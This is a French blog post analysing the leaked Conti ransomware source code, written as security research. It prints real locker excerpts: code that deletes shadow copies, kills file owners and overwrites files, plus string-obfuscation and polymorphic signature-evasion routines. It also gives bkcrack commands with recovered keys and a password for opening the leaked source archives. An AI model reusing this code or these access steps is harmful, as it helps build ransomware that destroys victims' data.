Pirates Corporation & Co.


> Hop là ho ! une bouteille de rhum...

#

Conti leaks [part. I] - Make your own locker


De retour, après plusieurs mois d’absence, quoi que… Pour ceux qui me suivent, vous savez que je traine toujours par là.

Avant de commencer, je dois vous signaler que j’écris cet article sans aucune mauvaise intention et que tous ce qui est écrit ici a pour objectif de contribuer à la recherche contre la cyber malveillance. Ces travaux ne doivent en aucun cas être utilisé pour de mauvaises raisons. Toute les informations qui vont suivre ont déjà été rendu publique.

Vous le savez sans doute, ceci à débuter aux alentours du 28 février 2022 un peu avant minuit. Un chercheur en sécurité (qui a indiqué son soutien à l’Ukraine) publie sur Twitter via le pseudo @ContiLeaks des informations sur le group Conti.

Lors de l’invasion Russe en Ukraine (le 24 février 2022), le Groupe Conti a annoncé son soutien à la Russie (juste avant de faire volte-face) et a menacé de déployer des mesures de représailles si des cyberattaques étaient lancées contre le pays.

Mais le mal est fait, et en conséquence, les messages des journaux de discussion internes du Groupe ont été divulgués mais aussi, les codes source du locker ainsi que d’autres fichiers utilisés par le Groupe.


Qu’est-ce-que Conti ?

Globalement, un Groupe de cybercriminelles Russe très agressif (et impitoyable) qui se concentre sur le déploiement de son Ransomware en attaquant des entreprises avec des revenus de plus de 100 millions de dollars annuels.

Le Groupe Conti fait la une des journaux internationaux chaque semaine, lorsqu’il publie sur son blog, les informations volées à des entreprises qui refusent de payer les demandes d’extorsions.

Il y a tellement de chose à dire … Et ce n’est pas l’objectif de cet article.

Alors, pour beaucoup plus de précision, vous pouvez lire cette série d'article :


Theorico-techniquement un Ransomware c’est quoi ?

Un programme qui chiffre le disque, oui… Mais plus en détails avant de réaliser l’étape de chiffrement. Ce type de programme doit s’attacher à réaliser quelques actions nécessaires.

Il va effacer le VSS pour empêcher l’utilisateur de restaurer les fichiers perdus. Ci-dessous, une portion de code utiliser par le Groupe Conti pour réaliser ce travail (visible dans le fichier conti_locker_v2.zip).

while (pEnumerator)
{
    HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
        &pclsObj, &uReturn);

    if (0 == uReturn)
    {
        break;
    }

    VARIANT vtProp;

    // Get the value of the Name property
    hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

    WCHAR CmdLine[1024];
    RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
    wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

    LPVOID Old;
    pWow64DisableWow64FsRedirection(&Old);
    CmdExecW(CmdLine);
    pWow64RevertWow64FsRedirection(Old);

    pVariantClear(&vtProp);
    pclsObj->Release();
}

Et tuer certains processus pour débloquer les fichiers a chiffré. Notez, le flag OPEN_EXISTING, lors du chiffrement le fichier source est écrasé (c’est beaucoup plus efficace que d’ouvrir un nouveau fichier et d’effacer l’ancien).

if (KillFileOwner(FileInfo->Filename))
{
    logs::Write(OBFW(L"KillFileOwner for file %s - success"), FileInfo->Filename);

    FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (FileInfo->FileHandle == INVALID_HANDLE_VALUE) {
        logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
        return FALSE;
    }
}

Souvent, les processus des éléments de sécurité sont également tués, quand cela n’est pas réalisé en amont avant de déploiement du Ransomware. Mais cela dépend…

Evidemment, une fonction récursive pour le parcours de(s) arborescence(s) dans laquelle on va inclure un algorithme de chiffrement solide et bien implémenté et une petite touche de multithreading pour travailler plus vite.

Et puis, un peu d’obfuscation pour cacher les calls et les strings qui passe en mémoire et on emballe le tout avec un packer maison.

Bref, le cahier des charges minimum pour réaliser ce type de programme. En comparaison avec d’autres type de Malwares comme ZeuS les Ransomware sont plutôt simple à concevoir…


Le leak des verions du locker/unlocker

Concernant le fichier conti_locker_v2_zip, l’un des liens de la liste ci-dessous nous permet de télécharger l’archive contenant les codes sources. Mais cette archive est protégée par un mot de passe.

Plus tard, un second Tweet vers le téléchargement d’une partie des codes sources mais une grande majorité des fichiers .cpp du locker ont été effacés.

Bon, ce qui m’intéresse avant tous, c’est le locker. Mais je ne connais pas le mot de passe. En réalité, pour obtenir le fameux sésame c’est digne d’une épreuve de CTF.


Cracking: conti_locker_v2.zip

Nous savons que nous connaissons une partie des données de l’archive conti_locker_v2.zip protégée (le nom des fichiers n’est pas chiffré). Nous pouvons le vérifier avec la commande suivante :

7z l conti_locker_v2.zip 

7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=fr_FR.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)

Scanning the drive for archives:
1 file, 13510329 bytes (13 MiB)

Listing archive: conti_locker_v2.zip

--
Path = conti_locker_v2.zip
Type = zip
Physical Size = 13510329

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2022-01-27 18:25:00 D....            0            0  conti_locker
2020-09-16 01:09:55 .....         2964          705  conti_locker/ContiLocker_v2.sln
2020-09-16 01:09:55 D....            0            0  conti_locker/locker
2020-09-16 01:09:55 .....         4693         1595  conti_locker/locker/search.cpp
2020-09-16 01:09:55 .....        93671        21193  conti_locker/locker/ntdll.h
2020-09-16 01:09:55 .....          807          436  conti_locker/locker/locker.h
2020-09-16 01:09:55 .....        91423        21952  conti_locker/locker/GetApi.h
2020-09-16 01:09:55 .....          611          324  conti_locker/locker/memory.cpp
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/antihook
2020-09-16 01:09:55 .....           69           81  conti_locker/locker/antihook/antihooks.h
2020-09-16 01:09:55 .....            4           16  conti_locker/locker/antihook/CONTI.txt
2020-09-16 01:09:55 .....         9775         2481  conti_locker/locker/antihook/antihooks.cpp
2020-09-16 01:09:55 .....        16988         3419  conti_locker/locker/queue.h
2020-09-16 01:09:55 .....         6844         1326  conti_locker/locker/locker.vcxproj.filters
2020-09-16 01:09:55 .....          311          218  conti_locker/locker/common.h
2020-09-16 01:09:55 .....        14353         4001  conti_locker/locker/network_scanner.cpp
2020-09-16 01:09:55 .....          451          290  conti_locker/locker/filesystem.h
2020-09-16 01:09:55 .....        22668         5467  conti_locker/locker/locker.cpp
2020-09-16 01:09:55 .....         1015          477  conti_locker/locker/disks.cpp
2020-09-16 01:09:55 .....          307          220  conti_locker/locker/process_killer.h
2020-09-16 01:09:55 .....         1239          623  conti_locker/locker/logs.cpp
2020-09-16 01:09:55 .....        16048         5448  conti_locker/locker/threadpool.cpp
2020-09-16 01:09:55 .....          165          155  conti_locker/locker/locker.vcxproj.user
2020-09-16 01:09:55 .....         9549         2680  conti_locker/locker/main.cpp
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/chacha20
2020-09-16 01:09:55 .....         8342         2408  conti_locker/locker/chacha20/ecrypt-sync.h
2020-09-16 01:09:55 .....         4912         1092  conti_locker/locker/chacha20/ecrypt-config.h
2020-09-16 01:09:55 .....         5576         1548  conti_locker/locker/chacha20/chacha.c
2020-09-16 01:09:55 .....         7433         1901  conti_locker/locker/chacha20/ecrypt-portable.h
2020-09-16 01:09:55 .....            4           16  conti_locker/locker/chacha20/CONTI.txt
2020-09-16 01:09:55 .....           16           28  conti_locker/locker/chacha20/R3ADM3.txt
2020-09-16 01:09:55 .....         1093          441  conti_locker/locker/chacha20/ecrypt-machine.h
2020-09-16 01:09:55 .....          464          247  conti_locker/locker/chacha20/chacha.h
2020-09-16 01:09:55 .....           16           28  conti_locker/locker/R3ADM3.txt
2020-09-16 01:09:55 .....           85           85  conti_locker/locker/hash.h
2020-09-16 01:09:55 .....         2702         1016  conti_locker/locker/process_killer.cpp
2020-09-16 01:09:55 .....         9166         1450  conti_locker/locker/locker.vcxproj
2020-09-16 01:09:55 .....          166          147  conti_locker/locker/memory.h
2020-09-16 01:09:55 .....          853          391  conti_locker/locker/global_parameters.cpp
2020-09-16 01:09:55 .....        60967         9561  conti_locker/locker/api.h
2020-09-16 01:09:55 .....          982          400  conti_locker/locker/MetaRandom2.h
2020-09-16 01:09:55 .....          370          256  conti_locker/locker/network_scanner.h
2020-09-16 01:09:55 .....          383          245  conti_locker/locker/global_parameters.h
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/Debug
2020-09-16 01:09:55 .....       324753        74684  conti_locker/locker/Debug/network_scanner.obj
2020-09-16 01:09:55 .....       157681        41849  conti_locker/locker/Debug/disks.obj
2020-09-16 01:09:55 .....      1257406       175313  conti_locker/locker/Debug/locker.obj
2020-09-16 01:09:55 .....        98273        26075  conti_locker/locker/Debug/antihooks.obj
2020-09-16 01:09:55 .....       789504        74532  conti_locker/locker/Debug/vc142.idb
2020-09-16 01:09:55 .....            0           12  conti_locker/locker/Debug/locker.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 .....      6098944      1008709  conti_locker/locker/Debug/vc142.pdb
2020-09-16 01:09:55 .....        76614        22635  conti_locker/locker/Debug/logs.obj
2020-09-16 01:09:55 .....       251696        61627  conti_locker/locker/Debug/threadpool.obj
2020-09-16 01:09:55 .....        50579        16551  conti_locker/locker/Debug/memory.obj
2020-09-16 01:09:55 .....        47775        15922  conti_locker/locker/Debug/hash.obj
2020-09-16 01:09:55 .....       392856        83758  conti_locker/locker/Debug/search.obj
2020-09-16 01:09:55 .....          582          324  conti_locker/locker/Debug/locker.log
2020-09-16 01:09:55 .....       158013        32505  conti_locker/locker/Debug/process_killer.obj
2020-09-16 01:09:55 .....           16           28  conti_locker/locker/Debug/R3ADM3.txt
2020-09-16 01:09:55 .....        53923        16840  conti_locker/locker/Debug/global_parameters.obj
2020-09-16 01:09:55 .....        12192         4734  conti_locker/locker/Debug/chacha.obj
2020-09-16 01:09:55 .....       293272        66794  conti_locker/locker/Debug/main.obj
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/Debug/locker.tlog
2020-09-16 01:09:55 .....       589012        23683  conti_locker/locker/Debug/locker.tlog/CL.read.1.tlog
2020-09-16 01:09:55 .....          190          168  conti_locker/locker/Debug/locker.tlog/locker.lastbuildstate
2020-09-16 01:09:55 .....         5364          572  conti_locker/locker/Debug/locker.tlog/link.read.1.tlog
2020-09-16 01:09:55 .....         1686          232  conti_locker/locker/Debug/locker.tlog/link.write.1.tlog
2020-09-16 01:09:55 .....         2636          500  conti_locker/locker/Debug/locker.tlog/link.command.1.tlog
2020-09-16 01:09:55 .....        10134          592  conti_locker/locker/Debug/locker.tlog/CL.command.1.tlog
2020-09-16 01:09:55 .....        13828          509  conti_locker/locker/Debug/locker.tlog/CL.write.1.tlog
2020-09-16 01:09:55 .....       189026        40982  conti_locker/locker/Debug/api.obj
2020-09-16 01:09:55 .....         1376          224  conti_locker/locker/Debug/locker.Build.CppClean.log
2020-09-16 01:09:55 .....        14189         4599  conti_locker/locker/api.cpp
2020-09-16 01:09:55 .....          930          469  conti_locker/locker/threadpool.h
2020-09-16 01:09:55 .....          119          115  conti_locker/locker/logs.h
2020-09-16 01:09:55 .....          870          474  conti_locker/locker/hash.cpp
2020-09-16 01:09:55 .....         2668          968  conti_locker/locker/MetaString.h
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/Release
2020-09-16 01:09:55 .....      1025351       249995  conti_locker/locker/Release/network_scanner.obj
2020-09-16 01:09:55 .....       861943       220487  conti_locker/locker/Release/disks.obj
2020-09-16 01:09:55 .....      2002309       401503  conti_locker/locker/Release/locker.obj
2020-09-16 01:09:55 .....       684654       176137  conti_locker/locker/Release/antihooks.obj
2020-09-16 01:09:55 .....            0           12  conti_locker/locker/Release/locker.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 .....       868580       221616  conti_locker/locker/Release/logs.obj
2020-09-16 01:09:55 .....       927286       230922  conti_locker/locker/Release/threadpool.obj
2020-09-16 01:09:55 .....       847172       216675  conti_locker/locker/Release/memory.obj
2020-09-16 01:09:55 .....       802125       203328  conti_locker/locker/Release/hash.obj
2020-09-16 01:09:55 .....      1024261       249068  conti_locker/locker/Release/search.obj
2020-09-16 01:09:55 .....        11631         1189  conti_locker/locker/Release/locker.log
2020-09-16 01:09:55 .....       854852       219165  conti_locker/locker/Release/process_killer.obj
2020-09-16 01:09:55 .....           16           28  conti_locker/locker/Release/R3ADM3.txt
2020-09-16 01:09:55 .....       847684       216947  conti_locker/locker/Release/global_parameters.obj
2020-09-16 01:09:55 .....        14902         3599  conti_locker/locker/Release/chacha.obj
2020-09-16 01:09:55 .....      1699840       323509  conti_locker/locker/Release/vc140.pdb
2020-09-16 01:09:55 .....       960358       238333  conti_locker/locker/Release/main.obj
2020-09-16 01:09:55 D....            0            0  conti_locker/locker/Release/locker.tlog
2020-09-16 01:09:55 .....       420886        10333  conti_locker/locker/Release/locker.tlog/CL.read.1.tlog
2020-09-16 01:09:55 .....          195          172  conti_locker/locker/Release/locker.tlog/locker.lastbuildstate
2020-09-16 01:09:55 .....         5694          616  conti_locker/locker/Release/locker.tlog/link.read.1.tlog
2020-09-16 01:09:55 .....         1758          229  conti_locker/locker/Release/locker.tlog/link.write.1.tlog
2020-09-16 01:09:55 .....         2832          532  conti_locker/locker/Release/locker.tlog/link.command.1.tlog
2020-09-16 01:09:55 .....         9658          539  conti_locker/locker/Release/locker.tlog/CL.command.1.tlog
2020-09-16 01:09:55 .....         5570          387  conti_locker/locker/Release/locker.tlog/CL.write.1.tlog
2020-09-16 01:09:55 .....       968713       241971  conti_locker/locker/Release/api.obj
2020-09-16 01:09:55 .....         1339          224  conti_locker/locker/Release/locker.Build.CppClean.log
2020-09-16 01:09:55 D....            0            0  conti_locker/builder
2020-09-16 01:09:55 .....          869          497  conti_locker/builder/builder.vcxproj.filters
2020-09-16 01:09:55 .....          165          155  conti_locker/builder/builder.vcxproj.user
2020-09-16 01:09:55 .....         6962         1037  conti_locker/builder/builder.vcxproj
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor
2020-09-16 01:09:55 .....         3414         1219  conti_locker/decryptor/search.cpp
2020-09-16 01:09:55 .....          761          412  conti_locker/decryptor/decryptor.h
2020-09-16 01:09:55 .....         8252         1289  conti_locker/decryptor/decryptor.vcxproj
2020-09-16 01:09:55 .....          590          316  conti_locker/decryptor/memory.cpp
2020-09-16 01:09:55 .....        16988         3419  conti_locker/decryptor/queue.h
2020-09-16 01:09:55 .....          165          155  conti_locker/decryptor/decryptor.vcxproj.user
2020-09-16 01:09:55 .....          295          209  conti_locker/decryptor/common.h
2020-09-16 01:09:55 .....        13589         3803  conti_locker/decryptor/network_scanner.cpp
2020-09-16 01:09:55 .....          451          290  conti_locker/decryptor/filesystem.h
2020-09-16 01:09:55 .....          766          386  conti_locker/decryptor/disks.cpp
2020-09-16 01:09:55 .....        14453         5195  conti_locker/decryptor/threadpool.cpp
2020-09-16 01:09:55 .....         2049          803  conti_locker/decryptor/main.cpp
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor/chacha20
2020-09-16 01:09:55 .....         8342         2408  conti_locker/decryptor/chacha20/ecrypt-sync.h
2020-09-16 01:09:55 .....         4912         1092  conti_locker/decryptor/chacha20/ecrypt-config.h
2020-09-16 01:09:55 .....         5576         1548  conti_locker/decryptor/chacha20/chacha.c
2020-09-16 01:09:55 .....         7433         1901  conti_locker/decryptor/chacha20/ecrypt-portable.h
2020-09-16 01:09:55 .....            4           16  conti_locker/decryptor/chacha20/CONTI.txt
2020-09-16 01:09:55 .....           16           28  conti_locker/decryptor/chacha20/R3ADM3.txt
2020-09-16 01:09:55 .....         1093          441  conti_locker/decryptor/chacha20/ecrypt-machine.h
2020-09-16 01:09:55 .....          464          247  conti_locker/decryptor/chacha20/chacha.h
2020-09-16 01:09:55 .....           16           28  conti_locker/decryptor/R3ADM3.txt
2020-09-16 01:09:55 .....          166          147  conti_locker/decryptor/memory.h
2020-09-16 01:09:55 .....          445          256  conti_locker/decryptor/global_parameters.cpp
2020-09-16 01:09:55 .....          982          400  conti_locker/decryptor/MetaRandom2.h
2020-09-16 01:09:55 .....          370          256  conti_locker/decryptor/network_scanner.h
2020-09-16 01:09:55 .....          149          133  conti_locker/decryptor/global_parameters.h
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor/Debug
2020-09-16 01:09:55 .....       213644        57506  conti_locker/decryptor/Debug/network_scanner.obj
2020-09-16 01:09:55 .....       141570        38299  conti_locker/decryptor/Debug/disks.obj
2020-09-16 01:09:55 .....        64005        21104  conti_locker/decryptor/Debug/decryptor.obj
2020-09-16 01:09:55 .....            0           12  conti_locker/decryptor/Debug/decryptor.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 .....           82           88  conti_locker/decryptor/Debug/decryptor.log
2020-09-16 01:09:55 .....       723968        53211  conti_locker/decryptor/Debug/vc142.idb
2020-09-16 01:09:55 .....       831488       198521  conti_locker/decryptor/Debug/vc142.pdb
2020-09-16 01:09:55 .....       230465        57364  conti_locker/decryptor/Debug/threadpool.obj
2020-09-16 01:09:55 .....        48622        15867  conti_locker/decryptor/Debug/memory.obj
2020-09-16 01:09:55 .....         1169          200  conti_locker/decryptor/Debug/decryptor.Build.CppClean.log
2020-09-16 01:09:55 .....       315137        71592  conti_locker/decryptor/Debug/search.obj
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor/Debug/decryptor.tlog
2020-09-16 01:09:55 .....       346628        14151  conti_locker/decryptor/Debug/decryptor.tlog/CL.read.1.tlog
2020-09-16 01:09:55 .....          190          168  conti_locker/decryptor/Debug/decryptor.tlog/decryptor.lastbuildstate
2020-09-16 01:09:55 .....         5616          584  conti_locker/decryptor/Debug/decryptor.tlog/link.read.1.tlog
2020-09-16 01:09:55 .....         1266          197  conti_locker/decryptor/Debug/decryptor.tlog/link.write.1.tlog
2020-09-16 01:09:55 .....         2316          522  conti_locker/decryptor/Debug/decryptor.tlog/link.command.1.tlog
2020-09-16 01:09:55 .....         6498          503  conti_locker/decryptor/Debug/decryptor.tlog/CL.command.1.tlog
2020-09-16 01:09:55 .....         4172          317  conti_locker/decryptor/Debug/decryptor.tlog/CL.write.1.tlog
2020-09-16 01:09:55 .....           16           28  conti_locker/decryptor/Debug/R3ADM3.txt
2020-09-16 01:09:55 .....        50623        15832  conti_locker/decryptor/Debug/global_parameters.obj
2020-09-16 01:09:55 .....        12200         4721  conti_locker/decryptor/Debug/chacha.obj
2020-09-16 01:09:55 .....       152988        40495  conti_locker/decryptor/Debug/main.obj
2020-09-16 01:09:55 .....          806          417  conti_locker/decryptor/threadpool.h
2020-09-16 01:09:55 .....         4963         1041  conti_locker/decryptor/decryptor.vcxproj.filters
2020-09-16 01:09:55 .....         8802         2078  conti_locker/decryptor/decryptor.cpp
2020-09-16 01:09:55 .....         2668          968  conti_locker/decryptor/MetaString.h
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor/Release
2020-09-16 01:09:55 .....       893939       227034  conti_locker/decryptor/Release/network_scanner.obj
2020-09-16 01:09:55 .....       822538       204992  conti_locker/decryptor/Release/disks.obj
2020-09-16 01:09:55 .....       832192       208735  conti_locker/decryptor/Release/decryptor.obj
2020-09-16 01:09:55 .....            0           12  conti_locker/decryptor/Release/decryptor.vcxproj.FileListAbsolute.txt
2020-09-16 01:09:55 .....         2720          650  conti_locker/decryptor/Release/decryptor.log
2020-09-16 01:09:55 .....       883581       216611  conti_locker/decryptor/Release/threadpool.obj
2020-09-16 01:09:55 .....       819832       204371  conti_locker/decryptor/Release/memory.obj
2020-09-16 01:09:55 .....         1205          201  conti_locker/decryptor/Release/decryptor.Build.CppClean.log
2020-09-16 01:09:55 .....       911897       224285  conti_locker/decryptor/Release/search.obj
2020-09-16 01:09:55 D....            0            0  conti_locker/decryptor/Release/decryptor.tlog
2020-09-16 01:09:55 .....       243510         5014  conti_locker/decryptor/Release/decryptor.tlog/CL.read.1.tlog
2020-09-16 01:09:55 .....          195          172  conti_locker/decryptor/Release/decryptor.tlog/decryptor.lastbuildstate
2020-09-16 01:09:55 .....         5868          628  conti_locker/decryptor/Release/decryptor.tlog/link.read.1.tlog
2020-09-16 01:09:55 .....         1414          201  conti_locker/decryptor/Release/decryptor.tlog/link.write.1.tlog
2020-09-16 01:09:55 .....         2460          548  conti_locker/decryptor/Release/decryptor.tlog/link.command.1.tlog
2020-09-16 01:09:55 .....         6300          472  conti_locker/decryptor/Release/decryptor.tlog/CL.command.1.tlog
2020-09-16 01:09:55 .....         3834          310  conti_locker/decryptor/Release/decryptor.tlog/CL.write.1.tlog
2020-09-16 01:09:55 .....           16           28  conti_locker/decryptor/Release/R3ADM3.txt
2020-09-16 01:09:55 .....       819450       204329  conti_locker/decryptor/Release/global_parameters.obj
2020-09-16 01:09:55 .....        14825         3555  conti_locker/decryptor/Release/chacha.obj
2020-09-16 01:09:55 .....       536576       128967  conti_locker/decryptor/Release/vc140.pdb
2020-09-16 01:09:55 .....       824711       206456  conti_locker/decryptor/Release/main.obj
2020-09-16 01:09:55 .....           16           28  conti_locker/R3ADM3.txt
2020-09-16 01:09:55 D....            0            0  conti_locker/Debug
2020-09-16 01:09:55 .....      1191936       213435  conti_locker/Debug/decryptor.pdb
2020-09-16 01:09:55 .....      3376392       699083  conti_locker/Debug/locker.ilk
2020-09-16 01:09:55 .....       659456       103796  conti_locker/Debug/builder.pdb
2020-09-16 01:09:55 .....           16           28  conti_locker/Debug/R3ADM3.txt
2020-09-16 01:09:55 .....       158720        40850  conti_locker/Debug/decryptor.exe
2020-09-16 01:09:55 .....       870896       143161  conti_locker/Debug/decryptor.ilk
2020-09-16 01:09:55 .....       651756       114062  conti_locker/Debug/builder.ilk
2020-09-16 01:09:55 .....       374784       140453  conti_locker/Debug/builder.exe
2020-09-16 01:09:55 .....      1461248       333081  conti_locker/Debug/locker.exe
2020-09-16 01:09:55 .....      9228288      1760335  conti_locker/Debug/locker.pdb
2020-09-16 01:09:55 D....            0            0  conti_locker/Release
2020-09-16 01:09:55 .....      3805184       605211  conti_locker/Release/decryptor.pdb
2020-09-16 01:09:55 .....       359390        96138  conti_locker/Release/builder.iobj
2020-09-16 01:09:55 .....       116272        22700  conti_locker/Release/builder.ipdb
2020-09-16 01:09:55 .....       115296        25496  conti_locker/Release/decryptor.ipdb
2020-09-16 01:09:55 .....       148206       147358  conti_locker/Release/test.zip
2020-09-16 01:09:55 .....        87040        46132  conti_locker/Release/locker — копия.exe
2020-09-16 01:09:55 .....      2294332       378480  conti_locker/Release/locker.iobj
2020-09-16 01:09:55 .....       872448       176861  conti_locker/Release/builder.pdb
2020-09-16 01:09:55 .....       479547       108657  conti_locker/Release/decryptor.iobj
2020-09-16 01:09:55 .....           16           28  conti_locker/Release/R3ADM3.txt
2020-09-16 01:09:55 .....       110592        57006  conti_locker/Release/decryptor.exe
2020-09-16 01:09:55 .....       508192       116647  conti_locker/Release/locker.ipdb
2020-09-16 01:09:55 .....       317952       158095  conti_locker/Release/builder.exe
2020-09-16 01:09:55 .....       181760        89439  conti_locker/Release/locker.exe
2020-09-16 01:09:55 .....       105358       105390  conti_locker/Release/builder.rar
------------------- ----- ------------ ------------  ------------------------
2022-01-27 18:25:00           64514996     13462255  199 files, 17 folders

Mais protégé comment d’ailleurs ? Avec la commande 7z l -slt conti_locker_v2.zip nous pouvons observer :

Method = ZipCrypto Deflate:Maximum
Characteristics = UT 0x7875 : Encrypt Descriptor

Un article écrit par Wade Hickey et intitulé How I Cracked CONTI Ransomware Group’s Leaked Source Code ZIP File publié le 1er mars 2022 décrit cette technique.

Le chiffrement ZipCrypto est connu pour être vulnérable aux attaques par texte claire connu. En utilisant l’outil bkcrack, nous pouvons changer le mot de passe de l’archive par un mot de passe arbitraire.

En nous basant sur un cleartext connu dans conti_locker.7z, dans ce cas, le contenu du fichier R3ADM3.txt (présent dans les deux archives).

printf "__DECRYPT_NOTE__" > cleartext

# -mx[N] : set compression level: -mx1 (fastest) ... -mx9 (ultra)
# -m{Parameters} : set compression Method
# m={MethodID}
7z a -mm=Deflate -mx9 cleartext.zip cleartext

bkcrack -C conti_locker_v2.zip -c "conti_locker/R3ADM3.txt" -P cleartext.zip -p cleartext

Avec la clé 2a45cf92 4521624b decd8163 obtenu lors de l’étape précédente, nous pouvons créer une nouvelle archive avec un mot de passe que nous contrôlons. Par convention, je choisi le mot de passe : infected.

bkcrack -C conti_locker_v2.zip -k 2a45cf92 4521624b decd8163 -U unlocked.zip infected


Opening: conti_locker_v3.7z

Ce 20 mars 2020 @ContiLeaks publie un lien sur VirusTotal d’une archive supposé être une version plus récente du locker du Groupe Conti. Après quelques heures de recherche (car pas de compte premium sur VT), je fini par mettre la main sur cette archive en recherchant celle-ci par son hash (0737ebb6ede108d90216bc06ccfce57defa2179bfda93a34edd868a6f9172a78).

Celle-ci est également protégé par un mot de passe. La protection utilisé est Method = LZMA2:6m 7zAES:19. L’attaque précédente ne fonctionnera pas dans ce contexte, de plus, nous n’avons pas de cleartext connus. Mais, le Tweet posté juste après le lien VT est peut-être une indication.

Je décide donc de tester ВсеБудеУкраїна en tant que mot de passe. Quand je pense aux personnes qui ont essayées hashcat avec surement pas le bon charset… lol.

Cette information est disponible depuis le 20 mars 2022 (le jour même) sur le site de (in)sicurezza digitale.


Remarques

Pourquoi j’ai ce besoin maladif d’étudier les leaks, je ne sais pas. Mon objectif ici, ou ce qui m’a intrigué. C’est de savoir comment le Ransomware fait pour cacher ses calls.

Et ma première surprise en regardant la version 2 du locker, lorsque j’ai ouvert le fichier conti_locker/locker/GetApi.h a été de reconnaitre cette bibliothèque pour l’avoir déjà observé dans Carberp.

Je dois avouer aussi que la librairie d’obfuscation des strings m’interpelle également, je vais regarder d’un peu plus près dès que j’ai du temps.

// Для ANSI строк.
#define OBFA(str)((const char*)MetaBuffer<std::get<MetaRandom2<__COUNTER__, 30>::value>(PrimeNumbers), \
    MetaRandom2<__COUNTER__, 126>::value, \
    std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())

// Для UNICODE строк.
#define OBFW(str)((const wchar_t*)MetaBuffer<std::get<MetaRandom2<__COUNTER__, 30>::value>(PrimeNumbers), \
    MetaRandom2<__COUNTER__, 126>::value, \
    std::make_index_sequence<sizeof(str)>>((const unsigned char*)str).decrypt())

Dans la version 3, le code à légèrement évolué, ce qui retient mon attention ici, c’est la fonction morphcode() (dans le fichier mrph.h).

//
// Инструменты для придания коду полиморфности (чтобы один и тот же кусок кода при компиляции
// производил разные последовательности инструкций, и нельзя было выделить сигнатуру участка кода).
// Использовать так:
//
// foo();            // что-то полезное
//
// morphcode();      // полиморфная вставка
//
// int a = bar();    // что-то полезное
//
// morphcode(a);     // полиморфная вставка, использующая результаты предыдущего действия

// полиморфная рандомная вставка в код, для рандомизации сигнатур
#ifdef __cplusplus
__forceinline void morphcode(int a) {
#else
__forceinline void morphcode(char* a) {
#endif
#ifdef __cplusplus
	volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value);
#else
	volatile int _morph_var = a;
#endif

	// делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом.
	// за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия,
	// выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат.
	if (_morph_var % 3) {
		_morph_var += (int)a + 2;
		while (!(_morph_var % 4)) ++_morph_var;
	}
	else if (_morph_var % 2) {
		_morph_var -= (int)a - 2;
		while (!(_morph_var % 3)) ++_morph_var;
	}
	else if (_morph_var % 4) {
		_morph_var = (_morph_var + 2) * ((int)a + 3);
		while (!(_morph_var % 2))
			if (_morph_var % 5)
				--_morph_var;
			else ++_morph_var;
	}
	else if (_morph_var % 5) {
		_morph_var = (_morph_var + 11) / ((int)a + 23);
		while (!(_morph_var % 3))
			if (_morph_var % 5)
				++_morph_var;
			else --_morph_var;
	}
}

Fonction pour rendre le code polymorphe (afin que le même morceau de code lors de la compilation produise différentes séquences d’instructions, et qu’il soit impossible d’extraire la signature d’un morceau de code). Effectue une opération arithmétique avec un nombre aléatoire (au moment de la compilation). Du fait que le nombre est connu à la compilation, l’optimiseur ne laissera qu’une seule option, et jette le reste. Ainsi, la même insertion donnera un résultat différent à chaque fois.

D’un point de vu de l’élégance, perso, je trouve que c’est moche. Du coté fonctionnelle, je pense que ce Ransomware a prouvé son efficacité.

La clé publique est insérée dans le locker (dans le fichier threadpool.cpp) :

STATIC BYTE g_PublicKey[4096] = "__publickey__";

La clé privée est insérée dans le unlocker (toujours dans le fichier threadpool.cpp) :

STATIC BYTE g_PrivateKey[4096] = "__privatekey__";


Conclusions

Ce leak, c’est vraiment du lourd. Les informations qui ont fuités peuvent permettre à n’importe quel scripts kiddies de construire son propre Ransomware.

Cependant, les équipes de Red Team s’en donneront à cœur joie pour tester et implémenter les techniques d’obfuscation dans leurs outils internes (enfin, pourquoi pas).

Bien sûr, le code du Ransomware n’est pas grand-chose à côté de toutes les autres informations qui ont fuité, les communications internes on permis d’identifier des membres du Groupe et ça a doxer à fond. Toutes ces informations sont disponibles via le compte Twitter de @ContiLeaks.

Désormais, voilà ce qui se passerai aujourd’hui si l’un des membres du groupe Conti mettait les pieds en dehors de la Russie.